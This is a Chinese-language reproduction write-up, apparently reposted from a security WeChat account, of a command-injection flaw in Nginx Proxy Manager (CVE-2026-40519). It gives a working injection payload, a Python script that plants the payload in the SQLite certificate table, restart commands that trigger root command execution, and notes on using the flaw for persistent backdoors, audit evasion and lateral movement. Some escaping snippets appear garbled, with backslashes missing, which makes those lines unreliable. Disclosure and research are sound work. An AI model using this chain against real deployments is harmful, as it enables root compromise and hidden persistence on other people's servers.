CVE-2026-40519是NginxProxyManager中的高危命令注入漏洞(CVSS9.8),攻击者通过DNSProvider凭据字段注入恶意命令,可在容器内以root权限执行任意系统命令。漏洞根源在于setupCertbotPlugins()函数中双重转义顺序错误,导致单引号裸露,提前闭合echo字符串,使后续内容被Shell当作独立命令执行。
一、漏洞概述
Nginx Proxy Manager(NPM)是一款广泛使用的开源 Nginx 反向代理管理面板。2026 年 6 月曝出高危命令注入漏洞 CVE-2026-40519(CVSS 9.8),攻击者通过 DNS Provider 凭据字段注入命令,可在容器内以 root 权限执行任意系统命令。
|
|
|
|---|---|
|
|
|
|
|
jc21/nginx-proxy-manager
|
|
|
|
|
|
|
|
|
|
|
|
|
二、复现环境
docker run -d --name cve-40519-target -p 8282:81 -p 8283:443 -p 8280:80 jc21/nginx-proxy-manager:2.15.1
三、根因分析
漏洞根源位于 /app/setup.js 第 124-125 行,setupCertbotPlugins() 函数中的双重转义顺序错误:
// setup.js:124-125const escapedCredentials = credentials .replaceAll("'", "'") // ① 先转义单引号: x' → x' .replaceAll("", "\") // ② 再转义反斜杠:x' → x'(破坏了①的结果!)
该函数在容器每次启动时执行,遍历数据库中 provider='letsencrypt' 的证书记录,为各 DNS 插件生成凭据文件。凭据内容经上述转义后被拼入 Shell 命令:
// setup.js:130echo 'escapedCredentials′>/etc/letsencrypt/credentials/credentials−{row.id}
双转义缺陷: Step 1 为单引号前加反斜杠('→'),Step 2 将刚加入的反斜杠再次转义('→'),导致单引号重新裸露。裸露的单引号提前闭合 echo 的字符串,后续内容被 Shell 当作独立命令执行。
四、注入点——Web UI DNS Provider Credentials
操作路径:SSL Certificates → Add SSL Certificate → Let's Encrypt → DNS Challenge → Credentials File Content

五、Payload 构造
5.1 最终 Payload
x';id>/tmp/pwned; } #
5.2 转义变换
|
|
|
|
|
|---|---|---|---|
|
|
replaceAll("'", "\'") |
x';id>/tmp/pwned; } # |
x';id>/tmp/pwned; } # |
|
|
replaceAll("\", "\\") |
x';id>/tmp/pwned; } # |
x\';id>/tmp/pwned; } #
|
5.3 Shell 解析
实际执行的命令:
echo 'x\';id>/tmp/pwned; } #' > /etc/letsencrypt/credentials/credentials-26
Shell 逐段解析:
-
echo 'x\'→ 字面输出x\(单引号在第二个'处提前闭合) -
;id>/tmp/pwned→ 作为独立命令执行,输出重定向至/tmp/pwned -
; } #' > ...→}闭合外层代码块后无实际作用;#注释掉尾部的引号和重定向符号,避免语法错误
输出验证:
uid=0(root) gid=0(root) groups=0(root)

六、完整攻击链
Payload → SQLite 证书表 (provider='letsencrypt') │ │ 容器重启 ▼ setupCertbotPlugins() 遍历证书记录 │ ▼ replaceAll 双转义破坏 → 单引号裸露 │ ▼echo 'x\'; cmd; } #' → Shell 执行注入命令(root)
三层绕过:
-
API Schema 校验:直接 POST 创建 LetsEncrypt 证书会被 API 拒绝 → 先用 API 创建 provider='other'的证书,再直接写 SQLite 改为letsencrypt -
事务回滚:API 创建 LetsEncrypt 证书时 certbot 校验失败导致 ORM 事务回滚 → 绕过 API 和 ORM,直接操作 SQLite -
SQL 约束:certificate 表存在 NOT NULL 约束 → 插入时补全必填字段
核心注入脚本(Python):
import sqlite3, json, datetimeDB = '/data/database.sqlite'db = sqlite3.connect(DB)now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')payload_str = "x';id>/tmp/pwned; } #"payload = json.dumps({"dns_provider": "route53","dns_challenge": True,"dns_provider_credentials": payload_str})db.execute('DELETE FROM certificate WHERE provider="letsencrypt"')db.commit()db.execute(''' INSERT INTO certificate (created_on, modified_on, expires_on, owner_user_id, provider, domain_names, meta, nice_name, is_deleted) VALUES (?, ?, ?, 1, "letsencrypt", ?, ?, "", 0)''', (now, now, '2099-12-31 00:00:00', json.dumps(["pwned.example.com"]), payload))db.commit()db.close()
# 重启触发docker restart cve-40519-targetdocker exec cve-40519-target cat /tmp/pwned# uid=0(root) gid=0(root) groups=0(root)
七、实战价值
该漏洞利用前提为持有 Admin Token(或能直接写 SQLite 数据库)。虽然拿 Admin Token 后已可操控端口转发/代理等功能,但在以下场景仍具战术价值:
-
持久化后门:payload 写入数据库,容器每次重启自动触发,不易被察觉 -
审计绕过:攻击行为隐藏在容器启动链中,常规 Web 日志无记录 -
横向移动:获得容器 root 后可探索宿主机挂载卷、Docker Socket 逃逸等路径
八、修复方案
升级: 官方尚未发布稳定修复版本,建议从 develop 分支编译:
git clone https://github.com/NginxProxyManager/nginx-proxy-manager.gitcd nginx-proxy-manager && git checkout develop
临时缓解:
-
修改默认密码为强随机密码( openssl rand -hex 16,≥12位) -
修改默认邮箱( [email protected]) -
管理端口(81)禁止暴露公网,仅内网/VPN 访问 -
排查所有使用默认账密的 NPM 实例 -
监控非预期容器重启
代码级修复——更正转义顺序:
// 先转义反斜杠,再转义单引号const escapedCredentials = credentials .replaceAll("\", "\\") .replaceAll("'", "\'")
原文始发于微信公众号(松杨网络安全资料库):CVE-2026-40519:Nginx Proxy Manager 命令注入漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。